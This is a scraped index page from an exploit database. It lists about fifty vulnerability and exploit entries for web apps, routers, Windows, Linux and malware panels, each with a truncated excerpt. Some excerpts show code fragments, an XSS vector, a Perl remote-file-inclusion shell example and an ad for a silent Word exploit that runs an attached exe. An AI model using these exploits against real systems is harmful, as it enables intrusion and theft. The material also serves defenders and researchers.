Checkmarx CxQL 7.1.5 Sandbox Bypass Vulnerability

Exploit for php platform in category web applications Checkmarx CxQL Sandbox bypass CVE-2014-8778 Vendor: Checkmarx - www.checkmarx.com Product: CxSuite Version affected: 7.1.5 and prior Credit: Huy-Ngoc DAU @ngocdh of Deloitte Conseil, France ================================ Introduction...

Messagebox Shellcode (113 bytes) - Any Windows Version

/ User32-free Messagebox Shellcode for any Windows version ======================================================== Title: User32-free Messagebox Shellcode for any Windows version Release date: 16/10/2013 Author: Giuseppe D'Amore http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b Size: 113 byt...

Ubuntu PAM MOTD File Tampering (Privilege Escalation)

Exploit for linux platform in category local exploits ===================================================== Ubuntu PAM MOTD File Tampering Privilege Escalation ===================================================== !/bin/sh Exploit Title: Ubuntu PAM MOTD file tampering privilege escalation Date:...

ABB Cylon Aspect 3.08.01 mapConfigurationDownload.php Configuration Download Vulnerability

ABB Cylon Aspect version 3.08.01 suffers from an unauthenticated configuration download vulnerability. This can be exploited to download the SQLite DB that contains the configuration mappings information via the FTControlServlet by directly calling the mapConfigurationDownload.php script. ABB Cyl...

TPC-110W - Missing Authentication for Critical Function Exploit

include include include include include include int mainint argc, char argv int sock; struct sockaddrin servaddr; char command512; sock = socketAFINET, SOCKSTREAM, 0; if sock 0 perror"socket"; exit1; memset&servaddr, '0', sizeofservaddr; servaddr.sinfamily = AFINET; servaddr.sinport = htons8888; ...

Enrollment System v1.0 - SQL Injection Exploit

Exploit Title: Enrollment System v1.0 - SQL Injection Exploit Author: Gnanaraj Mauviel @0xm3m Vendor: Obi08 Vendor Homepage: https://github.com/Obi08/EnrollmentSystem Software Link: https://github.com/Obi08/EnrollmentSystem Version: v1.0 Tested on: Mac OSX, XAMPP, Apache, MySQL...

projectSend r1605 - Remote Code Exectution Vulnerability

Exploit Title: projectSend r1605 - Remote Code Exectution RCE Application: projectSend Version: r1605 Bugs: rce via file extension manipulation Technology: PHP Vendor URL: https://www.projectsend.org/ Software Link: https://www.projectsend.org/ Date of found: 26-01-2023 Author: Mirabbas Ağalarov...

SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Vulnerability

Exploit Title: SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Exploit Author: Sarang Tumne @CyberInsane Twitter: @thecyberinsane CVE ID: CVE-2022-26982 Confirmed on release 2.1.1 Vendor: https://download.simplemachines.org/ Note- Once we insert the vulnerable php code, we can ev...

pfSense pfBlockerNG 2.1.4_26 Shell Upload Exploit

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'pfSense plugin pfBlockerNG unauthenticated RCE as root', 'Description' = %q pfBlockerNG is a popular pfSense plugin that is not installed by...

Password Manager For IIS 2.0 Cross Site Scripting Vulneraility

Exploit Title: XSS Exploit Author: VP4TR10T Vendor Homepage:http://passwordmanager.adiscon.com/en/manual/ Software Link:http://passwordmanager.adiscon.com/ Version: Version 2.0 Tested on: WINDOWS CVE : CVE-2022-36664 Affected URI when trying to change user password: POST /isapi/PasswordManager.dl...

Bus Pass Management System 1.0 Cross Site Scripting Vulnerability

Exploit Title: Bus Pass Management System 1.0 - 'searchdata' Cross-Site Scripting XSS Exploit Author: Ali Alipour Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql Software Link:...

Covid-19 Directory On Vaccination System 1.0 SQL Injection Vulnerability

Title: Covid-19 Directory on Vaccination System 1.0 Blind boolean SQLi To Rce Author: Hejap Zairy Vendor: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html Software:...

ICEHRM 31.0.0.0S - Cross-site Request Forgery to Account Takeover Vulnerability

Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery CSRF to Account Takeover Exploit Author: Devansh Bordia Vendor Homepage: https://icehrm.com/ Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS Version: 31.0.0.OS Tested on: Windows 10 1. About - ICEHRM IceHrm...

RedLine.MainPanel Insecure Permissions Vulnerability

Original source: https://malvuln.com/advisory/baf102927947289e4d589028620ce291.txt Contact: email protected Media: twitter.com/malvuln Threat: RedLine.MainPanel - cracked.exe Vulnerability: Insecure Permissions Description: The malware writes PE files with insecure permissions to c drive granting...

Network Video Recorder NVR304-16EP - Reflected Cross-Site Scripting (Unauthenticated) Vulnerability

Exploit Title: Network Video Recorder NVR304-16EP - Reflected Cross-Site Scripting XSS Unauthenticated Author: Luis Martinez Vendor Homepage: https://www.uniview.com/Products/NVR/Easy/NVR304-S-P/Product%20features Datasheet of NVR304-S-P: https://www.uniview.com/download.do?id=1819568 Tested...

AgentTesla Builder Web Panel SQL Injection Vulnerability

Discovery / credits: Malvuln - malvuln.com c 2022 Original source: https://malvuln.com/advisory/db9629508fda139f71f625d764c7eff7B.txt Contact: email protected Media: twitter.com/malvuln Threat: AgentTesla Builder Web Panel Vulnerability: SQL Injection Description: The AgentTeslaBuilder WebUI uses...

Microsoft Office Word (2003/2007/2010/2013 +2016) Universal Silent 0day Exploit

Office 2016+2013+2010+2007+2003 versions are running smoothly. Combines your exe file with your word file. When word file is opened, your exe file opens quietly. This module exploits a stack buffer overflow in SCOMCTL.OCX. It uses a malicious RTF to embed the specially crafted...

Travel Management System 1.0 Remote Code Execution Exploit

Exploit for php platform in category web applications Exploit Title: Travel Management System v1.0 - Unauthenticated Remote Code Execution Exploit Author: Adeeb Shah @hyd3sec & Bobby Cooke boku Vulnerability Discovery: Adeeb Shah @hyd3sec Date: August 10, 2020 Vendor Homepage:...

Android RSSI Broadcast Information Disclosure Vulnerability

Android OS suffers from a sensitive data exposure vulnerability in its RSSI broadcasts. Android RSSI Broadcast Information Disclosure Blog post here: https://wwws.nightwatchcybersecurity.com/2018/11/11/cve-2018-9581/ NOTE: This bug is part of a series of three related Android bugs with the same...

pChart 2.1.3 - Multiple Vulnerabilities

Exploit for php platform in category web applications Exploit Title: pChart 2.1.3 Directory Traversal and Reflected XSS Date: 2014-01-24 Exploit Author: Balazs Makany Vendor Homepage: www.pchart.net Software Link: www.pchart.net/download Google Dork: intitle:"pChart 2.x - examples" intext:"2.1.3"...

AspxCommerce v2.0 - Arbitrary File Upload Vulnerability

The application doesn't sanitize file extension or content in the Logo Editing module. The vulnerability allows a remote attacker to upload files via POST method with multiple extensions and access them remotely. Exploit Title: AspxCommerce v2.0 - Arbitrary File Upload Vulnerability Exploit Autho...

ACal <= 2.2.6 (day.php) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications =========================================================== ACal = 2.2.6 day.php Remote File Inclusion Vulnerability =========================================================== $$ $ Title: ACal 2.2.6 = Remote File Inclusion $ $$ $ URL:...

Fast Click (<= 1.1.3 , <= 2.3.8) (show.php) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ========================================================================= Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0;...

ABB Cylon Aspect 3.08.00 sslCertAjax.php Remote Command Execution Vulnerability

ABB Cylon Aspect version 3.08.00 suffers from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the country, state, locality, organization, and hostname HTTP POST parameters called by the sslCertAjax.php script. ABB...

Journyx 11.5.4 Authenticated Remote Code Execution Vulnerability

Journyx version 11.5.4 has an issue where attackers with a valid username and password can exploit a python code injection vulnerability during the natural login flow. Title: Journyx Authenticated Remote Code Execution Advisory ID: KL-001-2024-008 Publication Date: 2024.08.07 Publication URL:...

Oracle RMAN Missing Auditing Vulnerability

Proof of concept exploit for Oracle RMAN on Oracle database versions 19c, 18c, 12.2.0.1, and 12.1.0.2 where an RMAN controlfile operation is not adequately logged. Title: CVE-2021-2207 - RMAN Controlfile Operation Not Audited Product: Database Manufacturer: Oracle Affected Versions: 12.1.0.2,...

WordPress AN_Gradebook 5.0.1 Plugin - SQL injection Vulnerability

!/usr/bin/python3 Exploit Title: WordPress Plugin ANGradebook = 5.0.1 - Subscriber+ SQLi Date: 2023-07-26 Exploit Author: Lukas Kinneberg Github: https://github.com/lukinneberg/CVE-2023-2636 Vendor Homepage: https://wordpress.org/plugins/an-gradebook/ Software Link:...

Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts Vulnerability

Exploit Title: Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts Exploit Author: Syslifters - Christoph Mahrl, Aron Molnar, Patrick Pirker and Michael Wedl Vendor Homepage: https://jedox.com Version: Jedox 2020.2 20.2.5 and older CVE : CVE-2022-47876 Introduction...

Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls Vulnerability

Exploit Title: Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL Vendor Homepage: https://jedox.com Version: Jedox 2020.2 20.2.5 and older CVE : CVE-2022-47874 Introducti...

Bus Pass Management System 1.0 - Stored Cross-Site Scripting Vulnerability

Exploit Title: Bus Pass Management System 1.0 - Stored Cross-Site Scripting XSS Exploit Author: Matteo Conti - https://deltaspike.io Vendor Homepage: https://phpgurukul.com/ Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip Version: 1....

Online Diagnostic Lab Management System 1.0 SQL Injection / Shell Upload Exploit

Exploit Title: Online Diagnostic Lab Management System - Remote Code Execution RCE Unauthenticated Exploit Author: yousef alraddadi - https://twitter.com/y0usef11 Vendor Homepage: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.ht...

mbDrive Lite WiFi Flash Disk 1.4.0 Cross Site Scripting Vulnerability

Exploit Title: mbDrive Lite - WiFi flash disk 1.4.0 Reflected XSS Exploit Author: Chokri Hammedi Vendor Homepage: https://apps.apple.com/us/developer/haw-yuan-yang/id291212805 Software Link: https://apps.apple.com/us/app/mbdrive-lite-wifi-flash-disk/id343254033 Version: 1.4.0 Tested on: iPhone io...

PHProjekt PhpSimplyGest / MyProjects 1.3.0 Cross Site Scripting Vulnerability

Exploit Title: PHProjekt PhpSimplyGest / MyProjects, 1.3.0 - Stored XSS Cross-Site Scripting Exploit Author: Andrea Intilangelo Vendor Homepage: http://www.phprojekt.altervista.org removed demo was at http://phprojekt.altervista.org/phpsimplygest130 Software Link:...

Hasura GraphQL 2.2.0 - Information Disclosure Exploit

Exploit Title: Hasura GraphQL 2.2.0 - Information Disclosure Software: Hasura GraphQL Community Software Link: https://github.com/hasura/graphql-engine Version: 2.2.0 Exploit Author: Dolev Farhi Tested on: Ubuntu import requests SERVERADDR = 'x.x.x.x' url = 'http:///v1/metadata'.formatSERVERADDR...

WordPress Mortgage Calculators WP 1.52 Plugin - Stored Cross-Site Scripting Vulnerability

Exploit Title: WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting XSS Authenticated Exploit Author: Ceylan Bozogullarindan Vendor Homepage: https://lenderd.com/ Software Link: https://mortgagecalculatorsplugin.com/ Version: 1.52 Tested on: Linux CVE : CVE-2021-24904...

CosaNostra Builder Insecure Permissions Vulnerability

Discovery / credits: Malvuln - malvuln.com c 2022 Original source: https://malvuln.com/advisory/61285c988de52b7c067fb2e703f2ab83.txt Contact: email protected Media: twitter.com/malvuln Threat: CosaNostra Builder Vulnerability: Insecure Permissions Description: The malware creates PE files with...

CMSimple 5.4 - Cross Site Scripting Vulnerability

Exploit Title: CMSimple 5.4 - Cross Site Scripting XSS Exploit Author: heinjame Vendor Homepage: https://www.cmsimple.org/en/ Software Link: https://www.cmsimple.org/en/?Downloads Version: images Upload a file Attack vector '-alert1// need to encode ' When the victim clicks the delete button,an...

Simple Online College Entrance Exam System 1.0 - (Multiple) SQL injection Vulnerability

Exploit Title: Simple Online College Entrance Exam System 1.0 - 'Multiple' SQL injection Exploit Author: Amine ismail @aminei Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html Software Link:...

QCubed 3.1.1 PHP Object Injection Vulnerability

QCubed PHP Object Injection =========================== | Target: | QCubed Framework | | Vendor: | QCubed | | Version: | all versions including 3.1.1 | | CVE: | CVE-2020-24914 | | Accessibility: | Remote | | Severity: | Critical | | Author: | Wolfgang Hotwagner AIT Austrian Institute of Technolog...

QiHang Media Web Digital Signage 3.0.9 Arbitrary File Disclosure Vulnerability

Exploit for hardware platform in category web applications QiHang Media Web QH.aspx Digital Signage 3.0.9 Arbitrary File Disclosure Vulnerability Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd. Guangzhou Hefeng Automation Technology Co., Ltd. Product web page: http://www.howfor.com Affected...

Nidesoft DVD Ripper 5.2.18 - Local Buffer Overflow (SEH) Exploit

Exploit Title: Nidesoft DVD Ripper 5.2.18 - Local Buffer Overflow SEH Author: Felipe Winsnes Software Link: https://nidesoft-dvd-ripper.softonic.com/ Version: 5.2.18 Tested on: Windows 7 x86 Blog: https://whitecr0wz.github.io/ Proof of Concept: 1.- Run the python script, it will create the file...

NetEase(163,126) Mail Persistent XSS Vulnerability

This ia a 0day XSS vulnerability. The vulnerability for Netease email163,126 that works on all operating systems and browsers. Android and iPhone sometimes don't work You can easily obtain the users session and password with this XSS. Also, QQ-XSS vulnerability will be uploaded soon. Thank you...

vBulletin 5.6.1 SQL Injection Exploit

This Metasploit module exploits a SQL injection vulnerability found in vBulletin versions 5.6.1 and below. This module uses the getIndexableContent vulnerability to reset the administrator's password and it then uses the administrators login information to achieve remote code execution on the...

Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution Vulnerability

Exploit for linux platform in category local exploits by Arminius @rawsec Vim/Neovim Arbitrary Code Execution via Modelines ================================================= Product: Vim 8.1.1365, Neovim 0.3.6 Type: Arbitrary Code Execution CVE: CVE-2019-12735 Date: 2019-06-04 Author: Arminius...

ASUS routers Remote FTP login Authentication Bypass Vulnerability

============ Device Description: ============ Best For: Delivers plenty of speed and coverage, so large groups of users can go online, transfer large files, print, and stream stored media Features: Fast Wireless-N connectivity frees you to do more around your home Easy to set up and use,...

PHP openssl_x509_parse() Memory Corruption Vulnerability

The PHP function opensslx509parse uses a helper function called asn1timetotimet to convert timestamps from ASN1 string format into integer timestamp values. The parser within this helper function is not binary safe and can therefore be tricked to write up to five NUL bytes outside of an allocated...

PHP Links <= 1.3 (vote.php id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================= PHP Links = 1.3 vote.php id Remote SQL Injection Vulnerability =================================================================...

Flowmon Unauthenticated Command Injection Exploit

This Metasploit module exploits an unauthenticated command injection vulnerability in Progress Flowmon versions before v12.03.02. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Flowmon...

TELSAT marKoni FM Transmitter 1.9.5 Insecure Access Control Vulnerability

TELSAT marKoni FM Transmitter 1.9.5 Insecure Access Control Change Password Vendor: TELSAT Srl Product web page: https://www.markoni.it Affected version: Markoni-D Compact FM Transmitters Markoni-DH Exciter+Amplifiers FM Transmitters Markoni-A Analogue Modulator FM Transmitters Firmware: 1.9.5...

PSOProxy 0.5 Denial Of Service Exploit

!/usr/bin/perl use IO::Socket::INET; Exploit Title: PSOProxy 0.5 - Denial of Service DoS Discovery by: Fernando Mengali Discovery Date: 10 january 2024 Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/psoproxy/0.5/ Download to demo:...